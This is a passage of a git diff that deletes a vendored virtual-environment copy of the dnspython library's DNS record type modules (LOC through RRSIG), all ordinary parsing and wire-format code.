_MIN_LONGITUDE or longitude > _MAX_LONGITUDE: - raise dns.exception.FormError("bad longitude") - if longitude > 0x80000000: - longitude = (longitude - 0x80000000) / 3600000 - else: - longitude = -1 * (0x80000000 - longitude) / 3600000 - altitude = float(altitude) - 10000000.0 - size = _decode_size(size, "size") - hprec = _decode_size(hprec, "horizontal precision") - vprec = _decode_size(vprec, "vertical precision") - return cls(rdclass, rdtype, latitude, longitude, altitude, size, hprec, vprec) - - @property - def float_latitude(self): - "latitude as a floating point value" - return _tuple_to_float(self.latitude) - - @property - def float_longitude(self): - "longitude as a floating point value" - return _tuple_to_float(self.longitude) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/LP.py b/venv/Lib/site-packages/dns/rdtypes/ANY/LP.py deleted file mode 100644 index 379c8627a062853e8631a2d17dd507903cf781b5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/LP.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import struct - -import dns.immutable -import dns.rdata - - -@dns.immutable.immutable -class LP(dns.rdata.Rdata): - """LP record""" - - # see: rfc6742.txt - - __slots__ = ["preference", "fqdn"] - - def __init__(self, rdclass, rdtype, preference, fqdn): - super().__init__(rdclass, rdtype) - self.preference = self._as_uint16(preference) - self.fqdn = self._as_name(fqdn) - - def to_text(self, origin=None, relativize=True, **kw): - fqdn = self.fqdn.choose_relativity(origin, relativize) - return f"{self.preference} {fqdn}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - preference = tok.get_uint16() - fqdn = tok.get_name(origin, relativize, relativize_to) - return cls(rdclass, rdtype, preference, fqdn) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(struct.pack("!H", self.preference)) - self.fqdn.to_wire(file, compress, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - preference = parser.get_uint16() - fqdn = parser.get_name(origin) - return cls(rdclass, rdtype, preference, fqdn) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/MX.py b/venv/Lib/site-packages/dns/rdtypes/ANY/MX.py deleted file mode 100644 index 0c300c5aad68b14b3b5fed53b0aa92c6ea96eec4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/MX.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.mxbase - - -@dns.immutable.immutable -class MX(dns.rdtypes.mxbase.MXBase): - """MX record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/NID.py b/venv/Lib/site-packages/dns/rdtypes/ANY/NID.py deleted file mode 100644 index fa0dad5cc797be9a14ea075496e59b9f2a488678..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/NID.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import struct - -import dns.immutable -import dns.rdata -import dns.rdtypes.util - - -@dns.immutable.immutable -class NID(dns.rdata.Rdata): - """NID record""" - - # see: rfc6742.txt - - __slots__ = ["preference", "nodeid"] - - def __init__(self, rdclass, rdtype, preference, nodeid): - super().__init__(rdclass, rdtype) - self.preference = self._as_uint16(preference) - if isinstance(nodeid, bytes): - if len(nodeid) != 8: - raise ValueError("invalid nodeid") - self.nodeid = dns.rdata._hexify(nodeid, 4, b":") - else: - dns.rdtypes.util.parse_formatted_hex(nodeid, 4, 4, ":") - self.nodeid = nodeid - - def to_text(self, origin=None, relativize=True, **kw): - return f"{self.preference} {self.nodeid}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - preference = tok.get_uint16() - nodeid = tok.get_identifier() - return cls(rdclass, rdtype, preference, nodeid) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(struct.pack("!H", self.preference)) - file.write(dns.rdtypes.util.parse_formatted_hex(self.nodeid, 4, 4, ":")) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - preference = parser.get_uint16() - nodeid = parser.get_remaining() - return cls(rdclass, rdtype, preference, nodeid) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/NINFO.py b/venv/Lib/site-packages/dns/rdtypes/ANY/NINFO.py deleted file mode 100644 index b177bddbd15acc6aa8f5404527eea63d46b11c24..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/NINFO.py +++ /dev/null @@ -1,26 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.txtbase - - -@dns.immutable.immutable -class NINFO(dns.rdtypes.txtbase.TXTBase): - """NINFO record""" - - # see: draft-reid-dnsext-zs-01 diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/NS.py b/venv/Lib/site-packages/dns/rdtypes/ANY/NS.py deleted file mode 100644 index c3f34ce90d53516f544b5e3c89b7759bf17771e4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/NS.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.nsbase - - -@dns.immutable.immutable -class NS(dns.rdtypes.nsbase.NSBase): - """NS record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC.py b/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC.py deleted file mode 100644 index 3c78b72288b75a65b7fe3eaaaf7177d296f33b5d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC.py +++ /dev/null @@ -1,67 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdatatype -import dns.rdtypes.util - - -@dns.immutable.immutable -class Bitmap(dns.rdtypes.util.Bitmap): - type_name = "NSEC" - - -@dns.immutable.immutable -class NSEC(dns.rdata.Rdata): - """NSEC record""" - - __slots__ = ["next", "windows"] - - def __init__(self, rdclass, rdtype, next, windows): - super().__init__(rdclass, rdtype) - self.next = self._as_name(next) - if not isinstance(windows, Bitmap): - windows = Bitmap(windows) - self.windows = tuple(windows.windows) - - def to_text(self, origin=None, relativize=True, **kw): - next = self.next.choose_relativity(origin, relativize) - text = Bitmap(self.windows).to_text() - return f"{next}{text}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - next = tok.get_name(origin, relativize, relativize_to) - windows = Bitmap.from_text(tok) - return cls(rdclass, rdtype, next, windows) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - # Note that NSEC downcasing, originally mandated by RFC 4034 - # section 6.2 was removed by RFC 6840 section 5.1. - self.next.to_wire(file, None, origin, False) - Bitmap(self.windows).to_wire(file) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - next = parser.get_name(origin) - bitmap = Bitmap.from_wire_parser(parser) - return cls(rdclass, rdtype, next, bitmap) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC3.py b/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC3.py deleted file mode 100644 index 6899418760bf561c2a1217535c751378f9f87eb2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC3.py +++ /dev/null @@ -1,120 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import binascii -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdatatype -import dns.rdtypes.util - -b32_hex_to_normal = bytes.maketrans( - b"0123456789ABCDEFGHIJKLMNOPQRSTUV", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" -) -b32_normal_to_hex = bytes.maketrans( - b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567", b"0123456789ABCDEFGHIJKLMNOPQRSTUV" -) - -# hash algorithm constants -SHA1 = 1 - -# flag constants -OPTOUT = 1 - - -@dns.immutable.immutable -class Bitmap(dns.rdtypes.util.Bitmap): - type_name = "NSEC3" - - -@dns.immutable.immutable -class NSEC3(dns.rdata.Rdata): - """NSEC3 record""" - - __slots__ = ["algorithm", "flags", "iterations", "salt", "next", "windows"] - - def __init__( - self, rdclass, rdtype, algorithm, flags, iterations, salt, next, windows - ): - super().__init__(rdclass, rdtype) - self.algorithm = self._as_uint8(algorithm) - self.flags = self._as_uint8(flags) - self.iterations = self._as_uint16(iterations) - self.salt = self._as_bytes(salt, True, 255) - self.next = self._as_bytes(next, True, 255) - if not isinstance(windows, Bitmap): - windows = Bitmap(windows) - self.windows = tuple(windows.windows) - - def _next_text(self): - next = base64.b32encode(self.next).translate(b32_normal_to_hex).lower().decode() - next = next.rstrip("=") - return next - - def to_text(self, origin=None, relativize=True, **kw): - next = self._next_text() - if self.salt == b"": - salt = "-" - else: - salt = binascii.hexlify(self.salt).decode() - text = Bitmap(self.windows).to_text() - return f"{self.algorithm} {self.flags} {self.iterations} {salt} {next}{text}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - algorithm = tok.get_uint8() - flags = tok.get_uint8() - iterations = tok.get_uint16() - salt = tok.get_string() - if salt == "-": - salt = b"" - else: - salt = binascii.unhexlify(salt.encode("ascii")) - next = tok.get_string().encode("ascii").upper().translate(b32_hex_to_normal) - if next.endswith(b"="): - raise binascii.Error("Incorrect padding") - if len(next) % 8 != 0: - next += b"=" * (8 - len(next) % 8) - next = base64.b32decode(next) - bitmap = Bitmap.from_text(tok) - return cls(rdclass, rdtype, algorithm, flags, iterations, salt, next, bitmap) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - l = len(self.salt) - file.write(struct.pack("!BBHB", self.algorithm, self.flags, self.iterations, l)) - file.write(self.salt) - l = len(self.next) - file.write(struct.pack("!B", l)) - file.write(self.next) - Bitmap(self.windows).to_wire(file) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (algorithm, flags, iterations) = parser.get_struct("!BBH") - salt = parser.get_counted_bytes() - next = parser.get_counted_bytes() - bitmap = Bitmap.from_wire_parser(parser) - return cls(rdclass, rdtype, algorithm, flags, iterations, salt, next, bitmap) - - def next_name(self, origin=None): - return dns.name.from_text(self._next_text(), origin) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC3PARAM.py b/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC3PARAM.py deleted file mode 100644 index e8678722c992ecc23670e11eb14d20c0a49274d6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/NSEC3PARAM.py +++ /dev/null @@ -1,69 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import binascii -import struct - -import dns.exception -import dns.immutable -import dns.rdata - - -@dns.immutable.immutable -class NSEC3PARAM(dns.rdata.Rdata): - """NSEC3PARAM record""" - - __slots__ = ["algorithm", "flags", "iterations", "salt"] - - def __init__(self, rdclass, rdtype, algorithm, flags, iterations, salt): - super().__init__(rdclass, rdtype) - self.algorithm = self._as_uint8(algorithm) - self.flags = self._as_uint8(flags) - self.iterations = self._as_uint16(iterations) - self.salt = self._as_bytes(salt, True, 255) - - def to_text(self, origin=None, relativize=True, **kw): - if self.salt == b"": - salt = "-" - else: - salt = binascii.hexlify(self.salt).decode() - return f"{self.algorithm} {self.flags} {self.iterations} {salt}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - algorithm = tok.get_uint8() - flags = tok.get_uint8() - iterations = tok.get_uint16() - salt = tok.get_string() - if salt == "-": - salt = "" - else: - salt = binascii.unhexlify(salt.encode()) - return cls(rdclass, rdtype, algorithm, flags, iterations, salt) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - l = len(self.salt) - file.write(struct.pack("!BBHB", self.algorithm, self.flags, self.iterations, l)) - file.write(self.salt) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (algorithm, flags, iterations) = parser.get_struct("!BBH") - salt = parser.get_counted_bytes() - return cls(rdclass, rdtype, algorithm, flags, iterations, salt) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/OPENPGPKEY.py b/venv/Lib/site-packages/dns/rdtypes/ANY/OPENPGPKEY.py deleted file mode 100644 index ac1841cce65363cf4f82f36d3cb30d724aef5992..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/OPENPGPKEY.py +++ /dev/null @@ -1,53 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2016 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 - -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class OPENPGPKEY(dns.rdata.Rdata): - """OPENPGPKEY record""" - - # see: RFC 7929 - - def __init__(self, rdclass, rdtype, key): - super().__init__(rdclass, rdtype) - self.key = self._as_bytes(key) - - def to_text(self, origin=None, relativize=True, **kw): - return dns.rdata._base64ify(self.key, chunksize=None, **kw) # pyright: ignore - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - b64 = tok.concatenate_remaining_identifiers().encode() - key = base64.b64decode(b64) - return cls(rdclass, rdtype, key) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - file.write(self.key) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - key = parser.get_remaining() - return cls(rdclass, rdtype, key) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/OPT.py b/venv/Lib/site-packages/dns/rdtypes/ANY/OPT.py deleted file mode 100644 index d343dfa5df8ca286a049bdb7665bbc32852e2de9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/OPT.py +++ /dev/null @@ -1,77 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.edns -import dns.exception -import dns.immutable -import dns.rdata - -# We don't implement from_text, and that's ok. -# pylint: disable=abstract-method - - -@dns.immutable.immutable -class OPT(dns.rdata.Rdata): - """OPT record""" - - __slots__ = ["options"] - - def __init__(self, rdclass, rdtype, options): - """Initialize an OPT rdata. - - *rdclass*, an ``int`` is the rdataclass of the Rdata, - which is also the payload size. - - *rdtype*, an ``int`` is the rdatatype of the Rdata. - - *options*, a tuple of ``bytes`` - """ - - super().__init__(rdclass, rdtype) - - def as_option(option): - if not isinstance(option, dns.edns.Option): - raise ValueError("option is not a dns.edns.option") - return option - - self.options = self._as_tuple(options, as_option) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - for opt in self.options: - owire = opt.to_wire() - file.write(struct.pack("!HH", opt.otype, len(owire))) - file.write(owire) - - def to_text(self, origin=None, relativize=True, **kw): - return " ".join(opt.to_text() for opt in self.options) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - options = [] - while parser.remaining() > 0: - (otype, olen) = parser.get_struct("!HH") - with parser.restrict_to(olen): - opt = dns.edns.option_from_wire_parser(otype, parser) - options.append(opt) - return cls(rdclass, rdtype, options) - - @property - def payload(self): - "payload size" - return self.rdclass diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/PTR.py b/venv/Lib/site-packages/dns/rdtypes/ANY/PTR.py deleted file mode 100644 index 98c361677ba7351a24c082af698fb9af3e49b7b2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/PTR.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.nsbase - - -@dns.immutable.immutable -class PTR(dns.rdtypes.nsbase.NSBase): - """PTR record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/RESINFO.py b/venv/Lib/site-packages/dns/rdtypes/ANY/RESINFO.py deleted file mode 100644 index 76c8ea2ac47e8af24e927ec6ce05b113e33404c3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/RESINFO.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.txtbase - - -@dns.immutable.immutable -class RESINFO(dns.rdtypes.txtbase.TXTBase): - """RESINFO record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/RP.py b/venv/Lib/site-packages/dns/rdtypes/ANY/RP.py deleted file mode 100644 index a66cfc50f5e9854f556a727544ee0114f887b45d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/RP.py +++ /dev/null @@ -1,58 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata - - -@dns.immutable.immutable -class RP(dns.rdata.Rdata): - """RP record""" - - # see: RFC 1183 - - __slots__ = ["mbox", "txt"] - - def __init__(self, rdclass, rdtype, mbox, txt): - super().__init__(rdclass, rdtype) - self.mbox = self._as_name(mbox) - self.txt = self._as_name(txt) - - def to_text(self, origin=None, relativize=True, **kw): - mbox = self.mbox.choose_relativity(origin, relativize) - txt = self.txt.choose_relativity(origin, relativize) - return f"{str(mbox)} {str(txt)}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - mbox = tok.get_name(origin, relativize, relativize_to) - txt = tok.get_name(origin, relativize, relativize_to) - return cls(rdclass, rdtype, mbox, txt) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.mbox.to_wire(file, None, origin, canonicalize) - self.txt.to_wire(file, None, origin, canonicalize) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - mbox = parser.get_name(origin) - txt = parser.get_name(origin) - return cls(rdclass, rdtype, mbox, txt) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/RRSIG.py b/venv/Lib/site-packages/dns/rdtypes/ANY/RRSIG.py deleted file mode 100644 index 5556cbaccc1df74d3898d2376b8bd5660a22043a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/RRSIG.py +++ /dev/null @@ -1,155 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import calendar -import struct -import time - -import dns.dnssectypes -import dns.exception -import dns.immutable -import dns.rdata -import dns.rdatatype - - -class BadSigTime(dns.exception.DNSException): - """Time in DNS SIG or RRSIG resource record cannot be parsed.""" - - -def sigtime_to_posixtime(what): - if len(what) <= 10 and what.isdigit(): - return int(what) - if len(what) != 14: - raise BadSigTime - year = int(what[0:4]) - month = int(what[4:6]) - day = int(what[6:8]) - hour = int(what[8:10]) - minute = int(what[10:12]) - second = int(what[12:14]) - return calendar.timegm((year, month, day, hour, minute, second, 0, 0, 0)) - - -def posixtime_to_sigtime(what): - return time.strftime("%Y%m%d%H%M%S", time.gmtime(what)) - - -@dns.immutable.immutable -class 